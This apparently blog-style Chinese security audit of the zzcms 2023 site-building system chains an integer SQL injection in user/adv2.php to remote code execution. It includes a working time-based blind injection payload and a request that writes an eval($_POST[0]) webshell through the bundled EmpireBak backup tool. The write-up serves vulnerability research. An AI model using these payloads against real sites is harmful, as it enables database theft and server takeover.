招商网管理系统从前台SQL注入到RCE
0x00 前言 产品说明: zzcms是产品招商型模板程序,可快速搭建产品招商网。例如医药招商,保健品招商,化妆品招商,农资招商,孕婴童招商,酒类副食类等。 最新源码下载地址: http://www.zzcms.net/download/zzcms2023.zip 安装要求: Windows 平台——IIS/Apache/Nginx + PHP4/PHP5.2/PHP5.3/PHP7 + MySQ
0x00 前言
产品说明:
zzcms是产品招商型模板程序,可快速搭建产品招商网。例如医药招商,保健品招商,化妆品招商,农资招商,孕婴童招商,酒类副食类等。
最新源码下载地址:
http://www.zzcms.net/download/zzcms2023.zip
安装要求:
Windows 平台——IIS/Apache/Nginx + PHP4/PHP5.2/PHP5.3/PHP7 + MySQL4/5
Linux/Unix 平台——Apache + PHP4/PHP5/PHP7 + MySQL4/5 (PHP 必须在非安全模式下运行)
0x01 软件目录结构
/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从 zzcms.net 下载
/template 系统模板存放目录;更多系统模板可从 zzcms.net 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zhaoshang 招商程序文件
/pinpai 品牌
/daili 代理
/zhanhui 展会
/company 企业
/job 招聘
/zixun 资讯
/special 专题
/ask 问答
/zhanting 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax 程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK 编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq 登录接口文件
/3/ucenter_api discuz 论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信 API
/3/phpexcelreader PHP 读取 excel 文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/daili_excel 要导入的代理信息 excel 表格文件上传目录
/image 程序设计图片,swf 文件存放目录
/js js 文件存放目录
/html 静态页存放目录
/update 版本升级更新时,数据库更新文件临时存放目录(规则文件中指定的排除目录)
0x02 开始审计
SQL注入
这个项目在inc/conn.php文件中定义了数据库操作相关的方法,需要操作数据库的地方都会引入它,例如ajax/asktitlecheck_ajax.php。

进入inc/conn.php文件里,可以看到引入了挺多文件,其中/inc/global.php做了一系列安全过滤的操作。

进入inc/global.php文件里,可以看到$_COOKIE、$_POST、$_GET都被addfxg()方法处理过。

进入inc/function.php文件里,addfxg()方法在此定义,可以看到数据会经过htmlspecialchars或addslashes处理,那么基本上单引号、双引号、反斜杠都不能用了。

根据以上分析,我们在找SQL注入点时可以着重关注整型注入。
我在user/adv2.php文件的setAdv($ispay)方法里找到了整型注入点。

这个文件引入了user/check.php验证用户权限,我们需要先注册一个用户。

访问 http://localhost/reg/userreg.php 页面注册一个用户,注意用户类型需要选择公司。

在user/adv2.php文件里会判断用户类型,个人用户会让代码执行不到注入点。

发布展会信息,往zzcms_zhanhui表里添加数据。

让$c=1,这样才能继续执行到注入点。

设置自助广告,往zzcms_textadv表里添加数据。

让!$row=false,同上。

要执行到setAdv($ispay)方法需要将$action变量设置为modify,$action变量通过$_REQUEST['action']获得。


构造请求,测试触发时间盲注。

post数据:id=1 | (select * from (select if(ascii(substr(database(),1,1))=0x7a,sleep(1),1))A)
文件写入RCE
通过SQL注入我们可以获取到后台管理员的账户密码,也就是有后台管理员权限了。后台的功能点较多,我们可以从后台寻找RCE漏洞。
在后台发现使用EmpireBak v5.1来备份数据库文件,使用后台管理员的账户密码即可登录。

EmpireBak v5.1的3/E_bak5.1/upload/class/functions.php#Ebak_DoEbak($add)可以写入一句话木马getshell。

在3/E_bak5.1/upload/phomebak.php文件里调用了Ebak_DoEbak($add)方法。

构造请求写入一句话木马getshell。

post数据:phome=DoEbak&mydbname=shell&tablename[]=1]=1;eval($_POST[0]);//&filesize=1&baktype=1&bakline=1&baktype=1&mypath=./
shell文件会保存在3/E_bak5.1/upload/bdata/config.php。

RCE。

总结
代码审计时需要先分析系统做了哪些安全处理,在根据分析结果着重去挖掘,这样能事半功倍。
当sql update语句更新的表中没有数据时可以使用位运算符(&、|、^、~)或者算术运算符(+、-、*、/、%)来执行注入,同样适用于delete、insert、select语句。
